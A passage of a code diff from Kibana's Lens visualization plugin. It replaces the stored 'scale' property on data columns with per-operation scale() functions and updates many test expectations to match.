{ percentile: 95, }, @@ -1738,7 +1723,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -1748,7 +1732,6 @@ describe('IndexPattern Data Source', () => { operationType: 'date_histogram', sourceField: 'timestamp', isBucketed: true, - scale: 'interval', params: { interval: 'auto', }, @@ -1758,7 +1741,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: 'count() + count()', isFormulaBroken: false, @@ -1770,7 +1752,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -1779,7 +1760,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -2169,7 +2149,7 @@ describe('IndexPattern Data Source', () => { isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, - scale: undefined, + scale: 'ordinal', sortingHint: undefined, interval: undefined, hasArraySupport: false, @@ -2670,7 +2650,6 @@ describe('IndexPattern Data Source', () => { dataType: 'string', isBucketed: true, operationType: 'filters', - scale: 'ordinal', params: { filters: [{ label: '', input: { language: 'kuery', query: 'bytes > 1000' } }], }, @@ -2680,7 +2659,6 @@ describe('IndexPattern Data Source', () => { dataType: 'string', isBucketed: true, operationType: 'filters', - scale: 'ordinal', params: { filters: [{ label: '', input: { language: 'lucene', query: 'memory' } }], }, @@ -2690,7 +2668,6 @@ describe('IndexPattern Data Source', () => { dataType: 'string', isBucketed: true, operationType: 'filters', - scale: 'ordinal', params: { filters: [ { label: '', input: { language: 'kuery', query: 'bytes > 5000' } }, @@ -2779,7 +2756,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: "count(kql='memory > 5000') + count()", isFormulaBroken: false, @@ -2791,7 +2767,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, filter: { language: 'kuery', query: 'memory > 5000' }, @@ -2801,7 +2776,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -2810,7 +2784,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -2852,7 +2825,6 @@ describe('IndexPattern Data Source', () => { dataType: 'string', isBucketed: true, operationType: 'filters', - scale: 'ordinal', params: { filters: [ { label: '', input: { language: 'kuery', query: 'bytes > 5000' } }, @@ -2939,7 +2911,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', filter: { language: 'kuery', query: 'bytes > 4000' }, params: { formula: "count(kql='memory > 5000') + count()", @@ -2952,7 +2923,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, filter: { language: 'kuery', query: 'bytes > 4000 AND memory > 5000' }, @@ -2962,7 +2932,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, filter: { language: 'kuery', query: 'bytes > 4000' }, @@ -2972,7 +2941,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -3905,7 +3873,6 @@ describe('IndexPattern Data Source', () => { operationType: 'static_value', params: { value: '0' }, references: [], - scale: 'ratio', }, }, }, @@ -3955,7 +3922,6 @@ describe('IndexPattern Data Source', () => { label: 'timestampLabel', operationType: 'date_histogram', params: { dropPartials: false, includeEmptyRows: true, interval: 'auto' }, - scale: 'interval', sourceField: 'timestamp', }, }, @@ -4192,7 +4158,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', }, }, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.tsx index fb61433bbbe9c..f21574e4ce6f4 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.tsx @@ -163,7 +163,21 @@ export function columnToOperation( uniqueLabel?: string, dataView?: IndexPattern | DataView ): OperationDescriptor { - const { dataType, label, isBucketed, scale, operationType, timeShift, reducedTimeRange } = column; + const { dataType, label, isBucketed, operationType, timeShift, reducedTimeRange } = column; + + const operationDefinition = operationDefinitionMap[operationType]; + if (!operationDefinition) { + throw new Error( + i18n.translate('xpack.lens.indexPattern.operationNotFoundErrorMessage', { + defaultMessage: 'Operation {operationType} not found', + values: { operationType }, + }) + ); + } + + const scale = operationDefinition.scale + ? operationDefinition.scale(column, dataView as IndexPattern) + : 'ratio'; return { dataType: normalizeOperationDataType(dataType), diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based_suggestions.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based_suggestions.test.tsx index 35384bbd6bc22..5f95a57fb729a 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based_suggestions.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based_suggestions.test.tsx @@ -1314,7 +1314,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: '', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -1408,7 +1408,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: '', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -2258,7 +2258,7 @@ describe('IndexPattern Data Source suggestions', () => { label: 'My Op', dataType: 'string', isBucketed: true, - scale: undefined, + scale: 'ordinal', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -2284,7 +2284,7 @@ describe('IndexPattern Data Source suggestions', () => { label: 'My Op 2', dataType: 'string', isBucketed: true, - scale: undefined, + scale: 'ordinal', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -2700,7 +2700,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: 'Unique count of dest', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3212,7 +3212,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'string', isBucketed: true, label: 'My Op', - scale: undefined, + scale: 'ordinal', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3225,7 +3225,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'string', isBucketed: true, label: 'Top 5', - scale: undefined, + scale: 'ordinal', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3308,7 +3308,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: 'Cumulative sum of Records', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3322,7 +3322,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: 'Cumulative sum of (incomplete)', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3390,7 +3390,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'date', isBucketed: true, label: '', - scale: undefined, + scale: 'interval', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3404,7 +3404,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: '', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, @@ -3418,7 +3418,7 @@ describe('IndexPattern Data Source suggestions', () => { dataType: 'number', isBucketed: false, label: '', - scale: undefined, + scale: 'ratio', isStaticValue: false, hasTimeShift: false, hasReducedTimeRange: false, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/counter_rate.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/counter_rate.tsx index af563ccd4bef7..2aefd264509c6 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/counter_rate.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/counter_rate.tsx @@ -98,7 +98,6 @@ export const counterRateOperation: OperationDefinition< dataType: 'number', operationType: 'counter_rate', isBucketed: false, - scale: 'ratio', references: referenceIds, timeScale, timeShift: columnParams?.shift || previousColumn?.timeShift, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/cumulative_sum.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/cumulative_sum.tsx index 50bcd865b855d..efa3f312f7a57 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/cumulative_sum.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/cumulative_sum.tsx @@ -94,7 +94,6 @@ export const cumulativeSumOperation: OperationDefinition< dataType: 'number', operationType: 'cumulative_sum', isBucketed: false, - scale: 'ratio', timeShift: columnParams?.shift || previousColumn?.timeShift, filter: getFilter(previousColumn, columnParams), references: referenceIds, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/differences.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/differences.tsx index f91636471190e..c744c9259854b 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/differences.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/differences.tsx @@ -77,7 +77,6 @@ export const derivativeOperation: OperationDefinition< dataType: 'number', operationType: DIFFERENCES_ID, isBucketed: false, - scale: 'ratio', references: referenceIds, timeScale, filter: getFilter(previousColumn, columnParams), diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/moving_average.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/moving_average.tsx index 4d0912fd96425..7d62a6944964e 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/moving_average.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/moving_average.tsx @@ -99,7 +99,6 @@ export const movingAverageOperation: OperationDefinition< dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: referenceIds, timeShift: columnParams?.shift || previousColumn?.timeShift, filter: getFilter(previousColumn, columnParams), diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/overall_metric.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/overall_metric.tsx index df0e55ff40dfb..7e8b7fd60095d 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/overall_metric.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/calculations/overall_metric.tsx @@ -94,7 +94,6 @@ function buildOverallMetricOperation 'interval', operationParams: [{ name: 'interval', type: 'string', required: false }], getErrorMessage: (layer, columnId, indexPattern) => [ ...getInvalidFieldMessage(layer, columnId, indexPattern), @@ -189,7 +190,6 @@ export const dateHistogramOperation: OperationDefinition< operationType: 'date_histogram', sourceField: field.name, isBucketed: true, - scale: 'interval', params: { interval: columnParams?.interval ?? autoInterval, includeEmptyRows: columnParams?.includeEmptyRows ?? true, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.test.tsx index e2eec91c91531..b82bf977824cb 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.test.tsx @@ -74,7 +74,6 @@ describe('filters', () => { label: 'filters', dataType: 'document', operationType: 'filters', - scale: 'ordinal', isBucketed: true, params: { filters: [ @@ -199,7 +198,6 @@ describe('filters', () => { label: 'Filters', dataType: 'string', operationType: 'filters', - scale: 'ordinal', isBucketed: true, params: { filters: [ @@ -236,7 +234,6 @@ describe('filters', () => { label: 'Filters', dataType: 'string', operationType: 'filters', - scale: 'ordinal', isBucketed: true, params: { filters: [ @@ -275,7 +272,6 @@ describe('filters', () => { label: 'Filters', dataType: 'string', operationType: 'filters', - scale: 'ordinal', isBucketed: true, params: { filters: [ diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.tsx index 0b6579ede6b5a..c06f91ba83d86 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/filters/filters.tsx @@ -76,6 +76,7 @@ export const filtersOperation: OperationDefinition< displayName: filtersLabel, priority: 3, // Higher than any metric input: 'none', + scale: () => 'ordinal', isTransferable: () => true, getDefaultLabel: () => filtersLabel, @@ -108,7 +109,6 @@ export const filtersOperation: OperationDefinition< label: filtersLabel, dataType: 'string', operationType: OPERATION_NAME, - scale: 'ordinal', isBucketed: true, params, }; diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.test.ts index f6278ed8a69f7..59f4b5582d647 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.test.ts @@ -34,7 +34,6 @@ function createLayer( dataType: 'number', operationType: type, isBucketed: false, - scale: 'ratio', references: [], }, }, @@ -112,7 +111,6 @@ describe('context variables', () => { operationType: 'date_histogram', sourceField: '@timestamp', isBucketed: true, - scale: 'interval', params: { interval: 'auto', includeEmptyRows: true, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.tsx index 845a001fbb9f3..66f62fade4e1e 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/context_variables.tsx @@ -237,7 +237,6 @@ function createContextValueBasedOperation(type: operationType: type, sourceField: field?.name ?? undefined, isBucketed: false, - scale: 'ratio', timeScale: false, }; }) as unknown as Extract['buildColumn']; diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.test.tsx index 85e15d5c4446a..c5a91efaa5440 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.test.tsx @@ -69,7 +69,6 @@ const operationDefinitionMap: Record = { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', timeScale: undefined, params: { window: 5 }, references: referenceIds, @@ -125,7 +124,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'average', isBucketed: false, - scale: 'ratio', sourceField: 'bytes', }, }, @@ -148,7 +146,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: {}, references: [], }); @@ -166,7 +163,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)' }, references: [], }); @@ -190,7 +186,6 @@ describe('[Lens] formula', () => { isBucketed: false, filter: undefined, timeScale: undefined, - scale: 'ratio', params: {}, references: [], }); @@ -218,7 +213,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'average(bytes)', @@ -252,7 +246,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: `average(bytes, kql='category.keyword: "Men\\'s Clothing" or category.keyword: "Men\\'s Shoes"')`, @@ -281,7 +274,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: `count(lucene='*')`, @@ -299,7 +291,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: ['col2'], timeScale: 'd', params: { window: 3 }, @@ -313,7 +304,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: ['col2'], timeScale: 'd', params: { window: 3 }, @@ -323,7 +313,6 @@ describe('[Lens] formula', () => { isBucketed: false, label: 'col1X0', operationType: 'average', - scale: 'ratio', sourceField: 'bytes', timeScale: 'd', }, @@ -339,7 +328,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: 'moving_average(average(bytes), window=3)', @@ -393,7 +381,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: {}, references: [], }); @@ -420,7 +407,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { isFormulaBroken: false, formula: '0' }, references: [], }); @@ -481,7 +467,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: '', isFormulaBroken: false }, references: [], }; @@ -525,7 +510,6 @@ describe('[Lens] formula', () => { isBucketed: false, label: 'Part of average(bytes)', operationType: 'average', - scale: 'ratio', sourceField: 'bytes', timeScale: undefined, }, @@ -575,7 +559,6 @@ describe('[Lens] formula', () => { tinymathAst: 0, }, references: [], - scale: 'ratio', }, }, }); @@ -929,7 +912,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula, isFormulaBroken }, references: [], } as FormulaIndexPatternColumn, @@ -963,7 +945,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula, isFormulaBroken: false }, references: [], } as FormulaIndexPatternColumn, @@ -996,7 +977,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: '', isFormulaBroken }, references: [], } as FormulaIndexPatternColumn, @@ -1031,7 +1011,6 @@ describe('[Lens] formula', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula, isFormulaBroken: isBroken }, references: [], ...columnParams, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.tsx index a3539af74db05..7dde6c066b2b5 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/formula.tsx @@ -210,7 +210,6 @@ export const formulaOperation: OperationDefinition ({ label: '@timestamp', operationType: 'date_histogram', params: { interval: 'auto' }, - scale: 'interval', } as DateHistogramIndexPatternColumn, }, }); @@ -103,7 +102,6 @@ describe('createFormulaPublicApi', () => { label: '@timestamp', operationType: 'date_histogram', params: { interval: 'auto' }, - scale: 'interval', }, }, indexPatternId: undefined, @@ -153,7 +151,6 @@ describe('createFormulaPublicApi', () => { label: '@timestamp', operationType: 'date_histogram', params: { interval: 'auto' }, - scale: 'interval', }, }, indexPatternId: undefined, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.test.ts index 5ca43cb125cc8..95bda775e780f 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.test.ts @@ -19,7 +19,6 @@ function createLayerWithMathColumn(tinymathAst: string | TinymathAST): FormBased dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst, }, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.tsx index cf8116d66447a..428c17ce87bc7 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/formula/math.tsx @@ -58,7 +58,6 @@ export const mathOperation: OperationDefinition 'ratio' | 'ordinal' | 'interval'; /** * The default label is assigned by the editor */ diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.test.tsx index 2beefab2f1439..2392d568309a6 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.test.tsx @@ -974,7 +974,6 @@ describe('last_value', () => { label: 'Last value of test', operationType: 'last_value', params: { sortField: 'timestamp' }, - scale: 'ratio', sourceField: 'bytes', } as LastValueIndexPatternColumn, }, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.tsx index 337ec8052d0ed..62c57088e3553 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/last_value.tsx @@ -184,6 +184,16 @@ export const lastValueOperation: OperationDefinition< column.reducedTimeRange ), input: 'field', + scale: (column, dataview) => { + if (!dataview) { + return 'ratio'; + } + const field = dataview.getFieldByName(column.sourceField); + if (!field) { + return 'ratio'; + } + return getScale(field?.type); + }, onFieldChange: (oldColumn, field) => { const newParams = { ...oldColumn.params }; @@ -198,7 +208,6 @@ export const lastValueOperation: OperationDefinition< label: ofName(field.displayName, oldColumn.timeShift, oldColumn.reducedTimeRange), sourceField: field.name, params: newParams, - scale: getScale(field.type), filter: oldColumn.filter && comparePreviousColumnFilter(oldColumn.filter, oldColumn.sourceField) ? getExistsFilter(field.name) @@ -251,7 +260,6 @@ export const lastValueOperation: OperationDefinition< dataType: field.type as DataType, operationType: LAST_VALUE_ID, isBucketed: false, - scale: getScale(field.type), sourceField: field.name, filter: getFilter(previousColumn, columnParams) || getExistsFilter(field.name), timeShift: columnParams?.shift || previousColumn?.timeShift, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/metrics.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/metrics.tsx index d36e0a826b643..2f373ac07d4e0 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/metrics.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/metrics.tsx @@ -160,7 +160,6 @@ function buildMetricOperation>({ operationType: type, sourceField: field.name, isBucketed: false, - scale: 'ratio', timeScale: optionalTimeScaling ? previousColumn?.timeScale : undefined, filter: getFilter(previousColumn, columnParams), timeShift: columnParams?.shift || previousColumn?.timeShift, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile.tsx index 07d583c7c0d3f..426c582ad5463 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile.tsx @@ -196,7 +196,6 @@ export const percentileOperation: OperationDefinition< operationType: PERCENTILE_ID, sourceField: field.name, isBucketed: false, - scale: 'ratio', filter: getFilter(previousColumn, columnParams), timeShift: columnParams?.shift || previousColumn?.timeShift, reducedTimeRange: columnParams?.reducedTimeRange || previousColumn?.reducedTimeRange, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile_ranks.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile_ranks.tsx index da4c3f4d77d37..cb3ecc4a110c7 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile_ranks.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/percentile_ranks.tsx @@ -132,7 +132,6 @@ export const percentileRanksOperation: OperationDefinition< operationType: 'percentile_rank', sourceField: field.name, isBucketed: false, - scale: 'ratio', filter: getFilter(previousColumn, columnParams), timeShift: columnParams?.shift || previousColumn?.timeShift, reducedTimeRange: columnParams?.reducedTimeRange || previousColumn?.reducedTimeRange, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.test.tsx index 6d8ff895e7860..0ab9da8092383 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.test.tsx @@ -137,14 +137,12 @@ describe('ranges', () => { function setToHistogramMode() { const column = layer.columns.col1 as RangeIndexPatternColumn; column.dataType = 'number'; - column.scale = 'interval'; column.params.type = MODES.Histogram; } function setToRangeMode() { const column = layer.columns.col1 as RangeIndexPatternColumn; column.dataType = 'string'; - column.scale = 'ordinal'; column.params.type = MODES.Range; } @@ -158,7 +156,6 @@ describe('ranges', () => { label: sourceField, dataType: 'number', operationType: 'range', - scale: 'interval', isBucketed: true, sourceField, params: { diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.tsx index b0cd211b2f0f6..b29ab02ac90aa 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/ranges/ranges.tsx @@ -82,6 +82,10 @@ export const rangeOperation: OperationDefinition< }), priority: 4, // Higher than terms, so numbers get histogram input: 'field', + scale: (column) => { + const type = column.params?.type ?? MODES.Histogram; + return type === MODES.Histogram ? 'interval' : 'ordinal'; + }, getErrorMessage: (layer, columnId, indexPattern) => getInvalidFieldMessage(layer, columnId, indexPattern), getPossibleOperationForField: ({ aggregationRestrictions, aggregatable, type }) => { @@ -110,7 +114,6 @@ export const rangeOperation: OperationDefinition< operationType: 'range', sourceField: field.name, isBucketed: true, - scale: type === MODES.Histogram ? 'interval' : 'ordinal', // ordinal for Range params: { includeEmptyRows: columnParams?.includeEmptyRows ?? true, type: columnParams?.type ?? MODES.Histogram, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.test.tsx index ffc0b176ae048..320340f883043 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.test.tsx @@ -248,7 +248,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '100' }, references: [], }); @@ -264,7 +263,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '23' }, references: [], } as StaticValueIndexPatternColumn, @@ -274,7 +272,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '23' }, references: [], }); @@ -294,7 +291,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '23' }, references: [], }); @@ -311,7 +307,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '23' }, references: [], } as StaticValueIndexPatternColumn, @@ -323,7 +318,6 @@ describe('static_value', () => { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '53' }, references: [], }); diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/operations/definitions/static_value.tsx index 1dcff18f562e1..bd6d9acbba09a 100644 --- 